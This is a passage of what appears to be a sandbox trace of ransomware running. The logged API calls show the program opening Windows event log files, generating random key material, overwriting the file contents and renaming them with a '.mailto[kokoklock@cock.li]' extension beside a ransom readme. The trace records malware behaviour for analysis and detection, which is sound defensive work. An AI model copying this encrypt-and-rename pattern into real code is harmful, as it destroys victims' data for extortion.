lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0x9caf888*=0x8, lpOverlapped=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x9caf8a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x9caf8a0*, lpNumberOfBytesWritten=0x9caf888*=0x4, lpOverlapped=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9caf888*=0x4, lpOverlapped=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9caf888*=0x6c, lpOverlapped=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0x9caf888*=0x20, lpOverlapped=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9caf888*=0x4, lpOverlapped=0x0) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce20) returned 1 [0063.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.126] CloseHandle (hObject=0x3bc) returned 1 [0063.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0063.128] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" [0063.128] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.128] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.129] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0063.129] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.129] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.129] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.129] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c43c0) returned 1 [0063.129] RtlExitUserThread (Status=0x1) Thread: id = 162 os_tid = 0x1100 [0063.130] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0063.130] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", dwFileAttributes=0x20) returned 1 [0063.131] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.131] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9d2f7f4 | out: lpFileSize=0x9d2f7f4*=69632) returned 1 [0063.131] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.131] ReadFile (in: hFile=0x3bc, lpBuffer=0x9d2f7c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x9d2f7c8*, lpNumberOfBytesRead=0x9d2f7c4*=0x4, lpOverlapped=0x0) returned 1 [0063.132] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.132] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d0a0 [0063.132] NtQuerySystemTime (in: CurrentTime=0x9d2f7a0 | out: CurrentTime=0x9d2f7a0*=132121176210184031) returned 0x0 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xddf84111 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xa0f07291 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xddf0f78 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x2ecab24 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xf339a99e [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xc31369f0 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x69f383cd [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xe0113f3a [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x795cd33d [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xbe01b167 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x9eeb2a85 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xa93c9bd1 [0063.132] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xb94a5106 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xf0329da0 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xd11db480 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x71127a51 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x21f0a776 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xe4f4816f [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xe565849b [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x75c9d052 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xa3f66f58 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x41dcd46e [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x1fa1549d [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x5e83cec6 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xe17fe7ba [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x5bef3d5e [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x1c58fc10 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x6557d693 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x85fff1b3 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xdea3df1a [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0xef193d40 [0063.133] RtlRandom (in: Seed=0x9d2f7ac | out: Seed=0x9d2f7ac) returned 0x58dc664 [0063.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce20 [0063.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.144] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.144] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9d2f778, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9d2f778*=0x4096, lpOverlapped=0x0) returned 1 [0063.145] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce98 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce98) returned 1 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.146] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9d2f778, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9d2f778*=0x4096, lpOverlapped=0x0) returned 1 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.146] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.146] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9d2f7b0, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9d2f7b0*=0x20, lpOverlapped=0x0) returned 1 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.146] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0x9d2f7c4*=0x8, lpOverlapped=0x0) returned 1 [0063.146] WriteFile (in: hFile=0x3bc, lpBuffer=0x9d2f7dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x9d2f7dc*, lpNumberOfBytesWritten=0x9d2f7c4*=0x4, lpOverlapped=0x0) returned 1 [0063.147] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9d2f7c4*=0x4, lpOverlapped=0x0) returned 1 [0063.147] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9d2f7c4*=0x6c, lpOverlapped=0x0) returned 1 [0063.147] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0x9d2f7c4*=0x20, lpOverlapped=0x0) returned 1 [0063.147] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9d2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9d2f7c4*=0x4, lpOverlapped=0x0) returned 1 [0063.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce20) returned 1 [0063.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.147] CloseHandle (hObject=0x3bc) returned 1 [0063.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb4f0 [0063.150] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" [0063.150] wcscat (in: _Dest=0x33eb4f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0063.150] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.150] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0063.151] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", dwFileAttributes=0x20) returned 0 [0063.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0063.151] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.151] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.151] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0063.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481cd8) returned 1 [0063.151] RtlExitUserThread (Status=0x1) Thread: id = 163 os_tid = 0x1104 [0063.152] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0063.153] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", dwFileAttributes=0x20) returned 1 [0063.153] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.153] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9dafd90 | out: lpFileSize=0x9dafd90*=69632) returned 1 [0063.153] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.153] ReadFile (in: hFile=0x3bc, lpBuffer=0x9dafd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x9dafd64*, lpNumberOfBytesRead=0x9dafd60*=0x4, lpOverlapped=0x0) returned 1 [0063.154] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d0c8 [0063.154] NtQuerySystemTime (in: CurrentTime=0x9dafd3c | out: CurrentTime=0x9dafd3c*=132121176210504551) returned 0x0 [0063.154] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xab07765e [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x10be4b67 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x38b2f4a6 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xe9a205f1 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x6488cb8f [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x43a26917 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xe2d32428 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xbb50ce6d [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xf40d66ba [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xedbc2492 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x732368bb [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x4a9449e0 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x1b0da237 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x9bf11dfb [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x48c3b4c7 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x37891a7a [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x53ffff6b [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x32fe8241 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xc4e60621 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xc956519 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xd507c589 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xaffc6f7a [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xc7a06b3c [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x45c17a68 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x4f45c2d1 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xcbcc3756 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xe261a391 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0x865456bd [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xe6e2c8f8 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xfd1e3646 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xcfdcc26 [0063.155] RtlRandom (in: Seed=0x9dafd48 | out: Seed=0x9dafd48) returned 0xbd5354ba [0063.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce20 [0063.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.167] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.167] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9dafd14, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9dafd14*=0x4096, lpOverlapped=0x0) returned 1 [0063.168] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce98 [0063.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce98) returned 1 [0063.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9dafd14, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9dafd14*=0x4096, lpOverlapped=0x0) returned 1 [0063.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.169] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9dafd4c, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9dafd4c*=0x20, lpOverlapped=0x0) returned 1 [0063.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0x9dafd60*=0x8, lpOverlapped=0x0) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x9dafd78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x9dafd78*, lpNumberOfBytesWritten=0x9dafd60*=0x4, lpOverlapped=0x0) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9dafd60*=0x4, lpOverlapped=0x0) returned 1 [0063.169] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9dafd60*=0x6c, lpOverlapped=0x0) returned 1 [0063.170] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0x9dafd60*=0x20, lpOverlapped=0x0) returned 1 [0063.170] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9dafd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9dafd60*=0x4, lpOverlapped=0x0) returned 1 [0063.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.170] RtlFreeHeap (HeapHandle=0x33c0000, 